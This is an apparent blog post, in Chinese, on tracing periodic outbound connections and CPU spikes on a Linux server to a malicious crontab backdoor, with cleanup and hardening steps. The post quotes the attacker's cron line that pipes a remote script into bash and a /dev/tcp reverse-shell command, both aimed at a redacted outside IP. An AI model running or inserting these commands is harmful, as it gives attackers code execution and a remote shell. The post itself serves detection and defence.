记一次 Linux 服务器周期性外联与 CPU 抖动:crontab 恶意定时任务后门排查

一台业务服务器周期性向陌生公网 IP 发起连接并伴随 CPU 抖动,顺藤摸瓜发现攻击者在 crontab 植入恶意定时任务实现持久化与反弹 shell,本文还原排查与清剿过程。

一、问题背景

一台跑内部业务接口的后端服务器(CentOS 7,双核 4G,对内有 Nginx + PHP-FPM,对外仅开放 80/443),平时 CPU 长期在 5% 以下、几乎无主动出网流量。某天早上安全运营中心(SOC)告警:该主机在凌晨到上午频繁向一个陌生境外 IP 的 443 端口发起连接,且主机监控出现每隔几分钟一次的 CPU 小尖峰。由于该服务器按规范不应主动访问任何外部地址,这条告警立即被升级为疑似失陷(compromise)事件,由我介入排查。

二、故障现象

现场最明显的异常有三点:

  1. 周期性出网:在主机上用 ss -antp 多次采样,每隔约 3 分钟就会出现一条到 45.x.x.x:443ESTABLISHED 连接,几十秒后断开;该 IP 不在任何白名单内,也不属于 CDN 或上游依赖。
  2. CPU 抖动top 里能看到一个生命周期极短的进程(多半是 curl/wget/bash)把单核短暂拉到 60%~90%,随即消失,像是被某调度器周期性唤起。平时毫无业务的高峰低谷符合这种"定时唤醒"特征。
  3. 进程捉迷藏tophtop 里看不到常驻的可疑进程,也没有新增的系统服务;但出网连接确实在发生,说明恶意负载要么极短命,要么藏在依赖调度的机制里。

第一反应是查是否有常驻木马(类似前阵子清掉的 XMRig 挖矿),但 ps aux 全量拉取也只看到正常的 Nginx、PHP-FPM 与 crond,方向一度被带偏。

三、排查过程

第 1 步:锁定出网连接与源头进程。ss -antp | grep -E '45\.' 抓到连接后,记下其 pid,但发现 pid 每次都不同且迅速退出。改用 pidstat -t 1 持续观察,确认有一个进程在固定节律(每 3 分钟)被拉起,父进程是 crond 派生的 sh -c。这就把怀疑对象从"常驻服务"直接指向了计划任务

第 2 步:翻遍所有 cron 落点。 攻击者为提高隐蔽性常不只写用户 crontab,于是我把四处都查了一遍:

  • crontab -l -u wwwcrontab -l -u root(以及其它业务账号);
  • /etc/crontab
  • /etc/cron.d/ 下所有片段;
  • /var/spool/cron/ 原始文件。

/var/spool/cron/www 里发现一条可疑条目:

1
*/3 * * * * curl -fsSL http://45.x.x.x/x/load.sh | bash >/dev/null 2>&1

把这一段注释掉后再观察,周期性出网与 CPU 抖动同时消失,因果关系坐实。

第 3 步:还原 payload 行为。 在隔离环境里下载 load.sh 分析,它做了几件事:① 从 C2 拉取第二阶段脚本并 base64 内联,避免落地文件被扫;② 写入 ~/.bashrc/etc/rc.local 做开机自启兜底;③ 尝试用 bash -i >& /dev/tcp/45.x.x.x/9999 0>&1 建立反弹 shell;④ 顺手检查是否有 redis-server/mysql 弱口令可横向。整个过程不写明显进程名、不占端口常驻,正是典型的"低噪声持久化"。

第 4 步:排查其它落脚点。 既然已经拿到 www 账号执行权,必须假设攻击者还留了后手:检查 /etc/passwd 是否有新增账号、authorized_keys 是否被追加公钥、是否有新的 systemd timer、以及 web 目录里是否混入了 webshell。本轮只发现 cron 这一条主线,但 bashrc/rc.local 的写入提示初始入侵点需要进一步回溯(见根因)。

四、解决方案

止血与清剿按"先断链、再清除、后加固"的顺序执行:

  1. 断链:在边界防火墙与主机 iptables 双重封禁 45.x.x.x 的入向/出向,先掐掉 C2 通信,防止反弹 shell 与二次投递。
  2. 清除crontab -r -u www 删除恶意任务,删除 load.sh/tmp 下衍生文件,还原被改写的 ~/.bashrc/etc/rc.local
  3. kill 残余pkill -f load.sh、结束处于 bash -i 反弹态的进程,确认 ss 不再出现外联。
  4. 收口凭证:因 www 账号曾被执行权限,轮换该账号及同机相关服务的密码/密钥;核查是否有凭据被打包外传(重点关注 ~/.ssh/etc/shadow 最近修改时间)。
  5. 复核持久化:确认无新增系统账号、authorized_keys 无陌生公钥、无异常 systemd timer 后才视为清剿完成。若评估初始入侵面(如存在 RCE 漏洞的Web应用)难以彻底确认干净,按失陷标准直接重装该主机更稳妥——本次因入侵链清晰、改动有限,采用清除+重建可疑组件方式。

五、根因分析

真正的问题不是 cron 本身,而是初始入侵点 + 持久化手法的组合:www 账号或其所托管的 Web 应用存在弱口令/旧漏洞,攻击者借此拿到命令执行权后,没有追求显眼的常驻木马,而是选择 crontab 这种"系统正常组件"做持久化——它不需要新开端口、不新增服务名、日志里只是普通的 cron 执行记录,检测难度远高于 XMRig 这类高 CPU 常驻进程。换言之,cron 后门是用"合法调度框架"打掩护,把检测成本转嫁给了运维。

六、预防措施

针对此类低噪声持久化,单靠"看 top"已经不够,需要从检测与基线两端下手:

  • 监控 cron 变更:用 auditd/etc/cron*/var/spool/cron/ 加规则(-w /etc/cron.d -p wa -k cron_change),任何改动进审计日志并告警。
  • 出网白名单:服务器默认拒绝所有主动出网,仅放行 Proxy/更新源等少数地址,cron 拉取外网脚本会立即被拦,从根上废掉投递链。
  • 文件完整性监控(FIM):部署 AIDE/Tripwire 或 HIDS(Wazuh/osquery),对 crontabbashrcrc.local 做哈希基线,偏差即告警。
  • 异常血缘检测:用 osquery 之类持续比对"父进程=crond 却派生出 curl/wget/bash 外联"的异常血缘关系,这是识别 cron 后门最有效的规则之一。
  • 最小权限与基线:业务账号禁 crontab、禁出网、禁写 bashrc;定期跑 CIS Benchmark 与弱口令扫描,把初始入侵面压到最低。

七、总结

这次事件的本质,是攻击者用 crontab 这个"系统自带的合法调度器"做持久化,规避了常驻进程的显眼特征,单看 CPU 和进程表很容易误判为偶发抖动。排查的关键转折在于:周期出网 + 短命进程 + 父进程是 crond,三者指向计划任务而非服务;顺藤摸到 /var/spool/cron/ 的恶意条目后,问题迎刃而解。对运维来说,与其事后肉眼翻 cron,不如把 cron 变更、出网白名单、异常进程血缘做成常态化检测——让后门在"被调度起来"的那一刻就被抓住。

使用 Hugo 构建
主题 StackJimmy 设计